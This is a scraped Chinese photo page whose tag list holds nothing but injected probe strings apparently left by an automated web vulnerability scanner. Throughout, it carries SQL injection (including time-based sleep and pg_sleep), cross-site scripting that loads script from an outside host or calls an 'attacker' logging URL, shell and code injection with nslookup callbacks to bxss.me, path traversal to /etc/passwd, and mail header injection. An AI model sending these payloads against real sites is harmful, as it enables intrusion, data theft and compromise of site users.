×
照片标签：
- 1
- 1p737MYHiO
- response.write(9277460*9234016)
- '+response.write(9277460*9234016)+'
- "+response.write(9277460*9234016)+"
- WG4SdOmY
- 1%0abcc:074625.19568-290596.19568.01485.19131.2@bxss.me
- to@example.com>%0d%0abcc:074625.19568-290597.19568.01485.19131.2@bxss.me
- ../../../../../../../../../../../../../../etc/passwd
- ../../../../../../../../../../../../../../windows/win.ini
- ../1
- 1<esi:include src="http://bxss.me/rpb.png"/>
- ${9999911+9999757}
- echo hglruq$()\ ybrtxg\nz^xyu||a #' &echo hglruq$()\ ybrtxg\nz^xyu||a #|" &echo hglruq$()\ ybrtxg\nz^xyu||a #
- &echo xqvarw$()\ avcebk\nz^xyu||a #' &echo xqvarw$()\ avcebk\nz^xyu||a #|" &echo xqvarw$()\ avcebk\nz^xyu||a #
- |echo mcqmzq$()\ zfruhy\nz^xyu||a #' |echo mcqmzq$()\ zfruhy\nz^xyu||a #|" |echo mcqmzq$()\ zfruhy\nz^xyu||a #
- (nslookup hittkyoflztkv6c403.bxss.me||perl -e "gethostbyname('hittkyoflztkv6c403.bxss.me')")
- $(nslookup hitirrvjauzwl45a30.bxss.me||perl -e "gethostbyname('hitirrvjauzwl45a30.bxss.me')")
- &(nslookup hitwsrymengqga2125.bxss.me||perl -e "gethostbyname('hitwsrymengqga2125.bxss.me')")&'\"`0&(nslookup hitwsrymengqga2125.bxss.me||perl -e "gethostbyname('hitwsrymengqga2125.bxss.me')")&`'
- )
- |(nslookup hitzxnnhiylxv8c50a.bxss.me||perl -e "gethostbyname('hitzxnnhiylxv8c50a.bxss.me')")
- `(nslookup hitvjzxqmaxps33c51.bxss.me||perl -e "gethostbyname('hitvjzxqmaxps33c51.bxss.me')")`
- !(()&&!|*|*|
- 1&n941357=v932598
- http://some-inexistent-website.acu/some_inexistent_file_with_long_name%3F.jpg
- 1some_inexistent_file_with_long_name%00.jpg
- Http://bxss.me/t/fit.txt
- ^(#$!@#$)(()))******
- http://bxss.me/t/fit.txt%3F.jpg
- bxss.me
- '.gethostbyname(lc('hitpj'.'fzsqefsja3052.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(112).chr(71).chr(118).chr(65).'
- ".gethostbyname(lc("hitws"."pmtlzvmxd2964.bxss.me."))."A".chr(67).chr(hex("58")).chr(119).chr(81).chr(118).chr(70)."
- HttP://bxss.me/t/xss.html?%00
- bxss.me/t/xss.html?%00
- )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
- "+"A".concat(70-3).concat(22*4).concat(122).concat(82).concat(117).concat(89)+(require"socket" Socket.gethostbyname("hitww"+"mhlqyjqs33a7a.bxss.me.")[3].to_s)+"
- '+'A'.concat(70-3).concat(22*4).concat(112).concat(68).concat(121).concat(65)+(require'socket' Socket.gethostbyname('hitgz'+'hbieknfxd0aa0.bxss.me.')[3].to_s)+'
- /xfs.bxss.me
- '"
- ;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
- <!--
- ';print(md5(31337));$a='
- ";print(md5(31337));$a="
- ${@print(md5(31337))}
- ${@print(md5(31337))}\
- 1'"()&%<acx><ScRiPt >zJPk(9315)</ScRiPt>
- '.print(md5(31337)).'
- '"()&%<acx><ScRiPt >zJPk(9540)</ScRiPt>
- 19626647
- acu8552%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca8552
- acux2993%C0%BEz1%C0%BCz2a%90bcxuca2993
- <%={{={@{#{${acx}}%>
- hg4fuBwh
- -1 OR 2+24-24-1=0+0+0+1 --
- -1 OR 2+980-980-1=0+0+0+1
- <th:t="${acx}#foreach
- -1' OR 2+698-698-1=0+0+0+1 --
- -1' OR 2+649-649-1=0+0+0+1 or 'wtqfo2ZE'='
- -1" OR 2+756-756-1=0+0+0+1 --
- 1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>
- if(now()=sysdate()
- sleep(15)
- 0)
- 0'XOR(if(now()=sysdate()
- 0))XOR'Z
- 0"XOR(if(now()=sysdate()
- 0))XOR"Z
- (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
- acx{{98991*97996}}xca
- -1; waitfor delay '0:0:15' --
- -1); waitfor delay '0:0:15' --
- acx[[${98991*97996}]]xca
- 1 waitfor delay '0:0:15' --
- qgUc6aZB'; waitfor delay '0:0:15' --
- acx__${98991*97996}__::.x
- -5 OR 262=(SELECT 262 FROM PG_SLEEP(15))--
- "acxzzzzzzzzbbbccccdddeeexca".replace("z"
- "o")
- -5) OR 811=(SELECT 811 FROM PG_SLEEP(15))--
- acu5359%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca5359
- -1)) OR 385=(SELECT 385 FROM PG_SLEEP(15))--
- acux10388%C0%BEz1%C0%BCz2a%90bcxuca10388
- 5pdx91AW' OR 742=(SELECT 742 FROM PG_SLEEP(15))--
- lDDpstEN') OR 757=(SELECT 757 FROM PG_SLEEP(15))--
- AfR0As4I')) OR 379=(SELECT 379 FROM PG_SLEEP(15))--
- 1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99)
- 15)
- 1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98)
- 15)||'
- '||(select 1 from (select pg_sleep(15))x)||'
- ''||(select 1 from (select pg_sleep(15))x)||''
- 1'"
- @@6Ibq2
- acu2159%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca2159
- acux9995%C0%BEz1%C0%BCz2a%90bcxuca9995
- 1%22onmouseover=zJPk(94732)%22
- 1"onmouseover=zJPk(99142)"
- 1" EFdb=zJPk([!+!]) zre="
- 1\u0022onmouseover=zJPk(95643)\u0022
- %31%22%6F%6E%6D%6F%75%73%65%6F%76%65%72%3D%7A%4A%50%6B%28%39%36%37%33%34%29%22
- 1"sTYLe='acu:Expre/**/SSion(zJPk(9627))'bad="
- 1"><script>zJPk(9157)</script>
- 1<ScRiPt >zJPk(9154)</ScRiPt>
- 1<W3VQAJ>JZZAE[!+!]</W3VQAJ>
- 1<script>zJPk(9247)</script>
- 1%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%7A%4A%50%6B%28%39%39%32%34%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E
- 1<ScRiPt >zJPk(9537)</ScRiPt>
- 1<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9397></ScRiPt>
- 1< ScRiPt >zJPk(9266)</ScRiPt>
- 1<isindex type=image src=1 onerror=zJPk(9450)>
- 1<iframe src='data:text/html;base64
- PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9332'>
- 1<body onload=zJPk(9977)>
- 1<img src=//xss.bxss.me/t/dot.gif onload=zJPk(9129)>
- 1<img src=xyz OnErRor=zJPk(9573)>
- 1<img/src=">" onerror=alert(9018)>
- %31%3C%53%63%52%69%50%74%20%3E%7A%4A%50%6B%289464%29%3C%2F%73%43%72%69%70%54%3E
- 1\u003CScRiPt\zJPk(9476)\u003C/sCripT\u003E
- 1<ScRiPt>zJPk(9483)</sCripT>
- 1<input autofocus onfocus=zJPk(9311)>
- <a HrEF=http://xss.bxss.me></a>
- <a HrEF=jaVaScRiPT:>
- 1}body{acu:Expre/**/SSion(zJPk(9487))}
- 19bPp4 <ScRiPt >zJPk(9504)</ScRiPt>
- 1<W6IVBA>GJPNV[!+!]</W6IVBA>
- 1<ifRAme sRc=9422.com></IfRamE>
- 1<avFRZom x=9994>
- 1<img sRc='http://attacker-9107/log.php?
- 1<aVdIPVz<
- 1Bg69o5zDGO
- response.write(9319483*9401441)
- '+response.write(9319483*9401441)+'
- "+response.write(9319483*9401441)+"
- echo uiqeny$()\ mlvdug\nz^xyu||a #' &echo uiqeny$()\ mlvdug\nz^xyu||a #|" &echo uiqeny$()\ mlvdug\nz^xyu||a #
- &echo bzwgce$()\ zehzwe\nz^xyu||a #' &echo bzwgce$()\ zehzwe\nz^xyu||a #|" &echo bzwgce$()\ zehzwe\nz^xyu||a #
- |echo qpxtof$()\ izubxt\nz^xyu||a #' |echo qpxtof$()\ izubxt\nz^xyu||a #|" |echo qpxtof$()\ izubxt\nz^xyu||a #
- 1 bcc:074625.19568-301309.19568.8ee95.19131.2@bxss.me
- (nslookup hithenowyrzysf1404.bxss.me||perl -e "gethostbyname('hithenowyrzysf1404.bxss.me')")
- to@example.com> bcc:074625.19568-301310.19568.8ee95.19131.2@bxss.me
- $(nslookup hitkhslvvnzmg983ea.bxss.me||perl -e "gethostbyname('hitkhslvvnzmg983ea.bxss.me')")
- &(nslookup hitbvcraoezcg5a46d.bxss.me||perl -e "gethostbyname('hitbvcraoezcg5a46d.bxss.me')")&'\"`0&(nslookup hitbvcraoezcg5a46d.bxss.me||perl -e "gethostbyname('hitbvcraoezcg5a46d.bxss.me')")&`'
- |(nslookup hitxlzftpigkzf2995.bxss.me||perl -e "gethostbyname('hitxlzftpigkzf2995.bxss.me')")
- `(nslookup hitgwozmupywc9c892.bxss.me||perl -e "gethostbyname('hitgwozmupywc9c892.bxss.me')")`
- 12345'"\'\")
- ${9999651+10000228}
- http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg
- 1some_inexistent_file_with_long_name .jpg
- http://bxss.me/t/fit.txt?.jpg
- '"()
- '.gethostbyname(lc('hithm'.'ukivkela4ec69.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(117).chr(80).chr(100).chr(87).'
- ".gethostbyname(lc("hitzd"."wndhbiyi8fe0c.bxss.me."))."A".chr(67).chr(hex("58")).chr(109).chr(68).chr(108).chr(73)."
- '
- "
- "+"A".concat(70-3).concat(22*4).concat(122).concat(85).concat(107).concat(70)+(require"socket" Socket.gethostbyname("hithh"+"luavbuuu7fa30.bxss.me.")[3].to_s)+"
- '+'A'.concat(70-3).concat(22*4).concat(111).concat(81).concat(97).concat(77)+(require'socket' Socket.gethostbyname('hitkf'+'gucnmhtt28319.bxss.me.')[3].to_s)+'
- bibs
- bibs/.
- SkBJuxmk
- -1 OR 2+181-181-1=0+0+0+1 --
- -1 OR 2+426-426-1=0+0+0+1
- -1' OR 2+968-968-1=0+0+0+1 --
- -1' OR 2+405-405-1=0+0+0+1 or 'Weq1ZfPx'='
- -1" OR 2+996-996-1=0+0+0+1 --
- -1
- -1)
- RYVVHNRh'
- -5 OR 751=(SELECT 751 FROM PG_SLEEP(15))--
- -5) OR 498=(SELECT 498 FROM PG_SLEEP(15))--
- -1)) OR 633=(SELECT 633 FROM PG_SLEEP(15))--
- Qqh6yQAL' OR 360=(SELECT 360 FROM PG_SLEEP(15))--
- xMRYlnPG') OR 814=(SELECT 814 FROM PG_SLEEP(15))--
- msOGflRS')) OR 399=(SELECT 399 FROM PG_SLEEP(15))--
- 1 %2527%2522
- @@lnrF7
- 1'"()&%<acx><ScRiPt >5Cyq(9356)</ScRiPt>
- 1'"()&%<acx><ScRiPt >U1F5(9141)</ScRiPt>
- '"()&%<acx><ScRiPt >U1F5(9202)</ScRiPt>
- '"()&%<acx><ScRiPt >5Cyq(9506)</ScRiPt>
- 19506088
- 19208066
- acu6600＜s1﹥s2ʺs3ʹuca6600
- acux1536z1z2abcxuca1536
- acu4949%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca4949
- acux10616%C0%BEz1%C0%BCz2a%90bcxuca10616
- acu5490＜s1﹥s2ʺs3ʹuca5490
- acux2232z1z2abcxuca2232
- acu10129%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca10129
- acux9522%C0%BEz1%C0%BCz2a%90bcxuca9522
- acu3112＜s1﹥s2ʺs3ʹuca3112
- acux8881z1z2abcxuca8881
- acu2918%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca2918
- acux1160%C0%BEz1%C0%BCz2a%90bcxuca1160
- 1"onmouseover=U1F5(93802)"
- 1"onmouseover=U1F5(96472)"
- 1" iWSb=U1F5([!+!]) 6ob="
- 1\u0022onmouseover=U1F5(91063)\u0022
- %31%22%6F%6E%6D%6F%75%73%65%6F%76%65%72%3D%55%31%46%35%28%39%38%31%35%34%29%22
- "onmouseover=U1F5(91705)//
- 1"sTYLe='acu:Expre/**/SSion(U1F5(9871))'bad="
- 1"><script>U1F5(9440)</script>
- 1<ScRiPt >U1F5(9070)</ScRiPt>
- 1<WXIW6X>DANN5[!+!]</WXIW6X>
- 1<script>U1F5(9735)</script>
- 1%22onmouseover=5Cyq(97352)%22
- 1<ScR<ScRiPt>IpT>U1F5(9297)</sCr<ScRiPt>IpT>
- 1<ScRiPt >U1F5(9378)</ScRiPt>
- 1"onmouseover=5Cyq(91282)"
- 1<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9354></ScRiPt>
- 1" ICql=5Cyq([!+!]) ico="
- 1< ScRiPt >U1F5(9517)</ScRiPt>
- 1\u0022onmouseover=5Cyq(97513)\u0022
- 1<svg onload=U1F5(9069)
- %31%22%6F%6E%6D%6F%75%73%65%6F%76%65%72%3D%35%43%79%71%28%39%31%33%30%34%29%22
- 1<isindex type=image src=1 onerror=U1F5(9101)>
- 1<iframe src='data:text/html
- 1"sTYLe='acu:Expre/**/SSion(5Cyq(9499))'bad="
- 1<body onload=U1F5(9947)>
- 1"><script>5Cyq(9368)</script>
- 1<img src=//xss.bxss.me/t/dot.gif onload=U1F5(9251)>
- 1<ScRiPt >5Cyq(9830)</ScRiPt>
- 1<img src=xyz OnErRor=U1F5(9267)>
- 1<img/src=">" onerror=alert(9992)>
- 1<WQ8CDS>HKAPQ[!+!]</WQ8CDS>
- %31%3C%53%63%52%69%50%74%20%3E%55%31%46%35%289494%29%3C%2F%73%43%72%69%70%54%3E
- 1<script>5Cyq(9866)</script>
- 1\u003CScRiPt\U1F5(9957)\u003C/sCripT\u003E
- 1<
- 1%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%35%43%79%71%28%39%37%31%33%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E
- <img acu onmouseover=U1F5(92951) //>
- 1<ScRiPt >5Cyq(9872)</ScRiPt>
- 1<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9047></ScRiPt>
- 1<input autofocus onfocus=U1F5(9239)>
- 1< ScRiPt >5Cyq(9129)</ScRiPt>
- 1}body{acu:Expre/**/SSion(U1F5(9428))}
- 1oOnsz <ScRiPt >U1F5(9775)</ScRiPt>
- 1<isindex type=image src=1 onerror=5Cyq(9701)>
- 1<WSBIGR>HEU6R[!+!]</WSBIGR>
- PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9344'>
- 1<ifRAme sRc=9800.com></IfRamE>
- 1<body onload=5Cyq(9733)>
- 1<aYjwTiQ x=9747>
- 1<img src=//xss.bxss.me/t/dot.gif onload=5Cyq(9666)>
- 1<img sRc='http://attacker-9456/log.php?
- 1<img src=xyz OnErRor=5Cyq(9695)>
- 1<aVq5qvi<
- 1<img/src=">" onerror=alert(9983)>
- %31%3C%53%63%52%69%50%74%20%3E%35%43%79%71%289072%29%3C%2F%73%43%72%69%70%54%3E
- 1\u003CScRiPt\5Cyq(9078)\u003C/sCripT\u003E
- 1<ScRiPt>5Cyq(9157)</sCripT>
- 1<input autofocus onfocus=5Cyq(9107)>
- 1}body{acu:Expre/**/SSion(5Cyq(9621))}
- 1WL1JV <ScRiPt >5Cyq(9662)</ScRiPt>
- 1<WWC1RC>ZT4UT[!+!]</WWC1RC>
- 1<ifRAme sRc=9235.com></IfRamE>
- 1<aFQ2VJs x=9857>
- 1<img sRc='http://attacker-9900/log.php?
- 1<aGyp5J0<
- 0f6bj1UN
- -1 OR 2+231-231-1=0+0+0+1 --
- -1 OR 2+97-97-1=0+0+0+1
- -1' OR 2+221-221-1=0+0+0+1 --
- -1' OR 2+666-666-1=0+0+0+1 or 'wFN9M8Li'='
- -1" OR 2+704-704-1=0+0+0+1 --
- WRZW0kcY'
- -5 OR 442=(SELECT 442 FROM PG_SLEEP(15))--
- -5) OR 778=(SELECT 778 FROM PG_SLEEP(15))--
- -1)) OR 185=(SELECT 185 FROM PG_SLEEP(15))--
- dJoCoqu0' OR 436=(SELECT 436 FROM PG_SLEEP(15))--
- y5xu6CUr') OR 231=(SELECT 231 FROM PG_SLEEP(15))--
- KamTZw1J')) OR 261=(SELECT 261 FROM PG_SLEEP(15))--
- @@J4BAm
- response.write(9934265*9795824)
- '+response.write(9934265*9795824)+'
- "+response.write(9934265*9795824)+"
- echo fckpox$()\ qicfoa\nz^xyu||a #' &echo fckpox$()\ qicfoa\nz^xyu||a #|" &echo fckpox$()\ qicfoa\nz^xyu||a #
- &echo mxaudv$()\ gdbmqf\nz^xyu||a #' &echo mxaudv$()\ gdbmqf\nz^xyu||a #|" &echo mxaudv$()\ gdbmqf\nz^xyu||a #
- |echo nehsvu$()\ vkqdqs\nz^xyu||a #' |echo nehsvu$()\ vkqdqs\nz^xyu||a #|" |echo nehsvu$()\ vkqdqs\nz^xyu||a #
- (nslookup hitlldosjhnuj06522.bxss.me||perl -e "gethostbyname('hitlldosjhnuj06522.bxss.me')")
- $(nslookup hitfsycbfxziy2d705.bxss.me||perl -e "gethostbyname('hitfsycbfxziy2d705.bxss.me')")
- &(nslookup hitxxikwgicel62d4c.bxss.me||perl -e "gethostbyname('hitxxikwgicel62d4c.bxss.me')")&'\"`0&(nslookup hitxxikwgicel62d4c.bxss.me||perl -e "gethostbyname('hitxxikwgicel62d4c.bxss.me')")&`'
- |(nslookup hitdmmjcactll489a8.bxss.me||perl -e "gethostbyname('hitdmmjcactll489a8.bxss.me')")
- `(nslookup hitckrewpspud7757f.bxss.me||perl -e "gethostbyname('hitckrewpspud7757f.bxss.me')")`
- 1 bcc:074625.19568-873440.19568.8ee95.19132.2@bxss.me
- to@example.com> bcc:074625.19568-873441.19568.8ee95.19132.2@bxss.me
- ${9999668+9999286}
- '.gethostbyname(lc('hithc'.'mzcxymmzed062.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(107).chr(78).chr(117).chr(88).'
- ".gethostbyname(lc("hitag"."poimpnzyc6eda.bxss.me."))."A".chr(67).chr(hex("58")).chr(113).chr(83).chr(113).chr(75)."
- "+"A".concat(70-3).concat(22*4).concat(112).concat(71).concat(115).concat(76)+(require"socket" Socket.gethostbyname("hitla"+"mtthohlfb473b.bxss.me.")[3].to_s)+"
- '+'A'.concat(70-3).concat(22*4).concat(117).concat(67).concat(109).concat(86)+(require'socket' Socket.gethostbyname('hitzd'+'ortlnhpl10103.bxss.me.')[3].to_s)+'
微信扫一扫, 保存到手机
